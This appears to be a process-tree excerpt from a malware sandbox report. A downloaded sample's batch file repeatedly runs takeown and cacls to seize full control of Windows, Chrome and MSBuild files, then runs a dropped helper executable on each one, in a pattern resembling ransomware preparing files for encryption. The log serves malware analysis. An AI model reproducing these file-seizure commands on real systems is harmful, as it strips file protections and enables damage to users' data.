C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "manifest.json" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "manifest.json" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Google\Chrome\Application\chrome.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Google\Chrome\Application\chrome.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "chrome.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "chrome.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\DDF.sys""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\DDF.sys" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\DDF.sys"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "DDF.sys" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "DDF.sys" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wab.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "wab.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "BrowserCore.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "BrowserCore.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "wabmig.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "BrowserCore.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "BrowserCore.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
-
-
